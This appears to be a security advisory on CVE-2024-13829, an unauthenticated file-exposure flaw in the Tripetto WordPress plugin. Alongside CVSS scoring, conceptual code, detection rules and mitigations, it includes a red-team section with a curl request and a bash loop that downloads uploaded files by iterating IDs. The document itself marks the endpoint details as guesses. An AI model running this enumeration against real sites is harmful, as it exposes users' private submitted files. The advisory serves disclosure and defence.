CVE-2024-13829

Executive Summary

CVE-2024-13829 is a Sensitive Information Exposure vulnerability in the Tripetto WordPress plugin (versions up to and including 8.0.8). The flaw resides in the attachments.php file, which fails to enforce proper authentication or authorization checks. This allows any unauthenticated attacker to enumerate and download files uploaded via forms, including potentially sensitive documents, images, and other user-submitted data. The vulnerability is classified as Medium Severity (CVSS 5.3) due to the low attack complexity and network-based exploitation, though the impact is limited to confidentiality.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. Tripetto is distributed via the official WordPress Plugin Directory. Users who installed the plugin via the WordPress admin panel or via Composer/WPackagist are affected. There is no known patch or advisory from the vendor at this time. Organizations should treat this as a supply chain risk and consider removing or isolating the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): Low (L) – Limited exposure of file data.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is trivial to exploit but only exposes uploaded files, not the entire database or admin credentials.

Deep Dive & Mechanics

The Tripetto plugin stores user-uploaded files (e.g., from contact forms, surveys, or quizzes) in a directory accessible via the web. The attachments.php file is intended to serve these files to authorized users (e.g., form administrators). However, the file does not verify the requestor's identity or session. An attacker can directly call attachments.php with a file identifier (likely a numeric ID or filename) and retrieve the associated file.

Root Cause: Missing authentication/authorization checks in the attachments.php endpoint. The plugin likely relies on a simple GET parameter to specify which file to return, without validating that the requester is an admin or has permission to view that specific form's submissions.

Attack Flow:

1. Attacker identifies a WordPress site running Tripetto <= 8.0.8.
2. Attacker sends a GET request to /wp-content/plugins/tripetto/attachments.php?id=1 (or similar).
3. The server returns the file content (e.g., a PDF, image, or text file) without any authentication.
4. Attacker iterates through IDs to extract all uploaded files.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable attachments.php likely contains something like:

// Vulnerable code (conceptual)
$file_id = $_GET['id'];
$file_path = get_uploaded_file_path($file_id);
if (file_exists($file_path)) {
    header('Content-Type: ' . mime_content_type($file_path));
    readfile($file_path);
}

A patched version would include authentication checks:

// Patched code (conceptual)
if (!current_user_can('manage_options')) {
    wp_die('Unauthorized', 403);
}
$file_id = intval($_GET['id']);
$file_path = get_uploaded_file_path($file_id);
if (file_exists($file_path)) {
    header('Content-Type: ' . mime_content_type($file_path));
    readfile($file_path);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Tripetto plugin <= 8.0.8 installed and active.
• At least one form with file uploads submitted.

Exploitation Steps:

1. Enumerate the Tripetto plugin path: /wp-content/plugins/tripetto/.
2. Send a request to the vulnerable endpoint:

   curl -v "http://target.com/wp-content/plugins/tripetto/attachments.php?id=1"
   

3. If the file exists, it will be returned. Iterate IDs (e.g., 1-1000) to extract all files.
4. Automate with a simple script:

   for i in $(seq 1 1000); do
       curl -s -o "file_$i.bin" "http://target.com/wp-content/plugins/tripetto/attachments.php?id=$i"
   done
   

Expected Output: Downloaded files (PDFs, images, documents) containing sensitive user data.

Blue Team (Defensive)

Detection:

• Monitor web server logs for repeated requests to /wp-content/plugins/tripetto/attachments.php with varying id parameters.
• Look for high volumes of 200 OK responses from that endpoint from a single IP.
• Use the Sigma rule below to detect such patterns.

Mitigation:

• Immediately disable or remove the Tripetto plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to attachments.php from unauthenticated users.
• Restrict access to the plugin directory via .htaccess:

  <Files "attachments.php">
      Require all denied
  </Files>
  

Indicators of Compromise (IOCs)

• File Path: /wp-content/plugins/tripetto/attachments.php
• HTTP Request Pattern: GET /wp-content/plugins/tripetto/attachments.php?id=<number>
• Response Headers: Content-Type: application/pdf, image/jpeg, etc. (depending on uploaded file type)
• Log Entries: Repeated 200 OK responses to the above URI from a single IP within a short timeframe.

Detection Engineering

YARA Rule

rule tripetto_sensitive_info_exposure {
    meta:
        description = "Detects requests to Tripetto attachments.php indicating CVE-2024-13829 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13829"
    strings:
        $uri = "/wp-content/plugins/tripetto/attachments.php"
        $param = "id="
    condition:
        $uri and $param
}

Sigma Rule

title: Tripetto Sensitive Information Exposure (CVE-2024-13829)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to Tripetto attachments.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "/wp-content/plugins/tripetto/attachments.php?id="
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13829 Tripetto Sensitive Information Exposure"; flow:to_server; content:"/wp-content/plugins/tripetto/attachments.php"; http_uri; content:"id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Tripetto plugin until a patch is released.
2. Remove uploaded files from the server if they contain sensitive data.
3. Notify affected users if their data was exposed.

Long-term Fix:

• The vendor must release a patched version that adds authentication checks to attachments.php.
• Until then, consider using a different form builder plugin.

Compensating Controls:

• Implement a WAF rule to block unauthenticated requests to attachments.php.
• Use .htaccess to restrict access to the plugin directory.
• Monitor logs for exploitation attempts.

Valters IT – DevSecOps & Cyber Threat Intelligence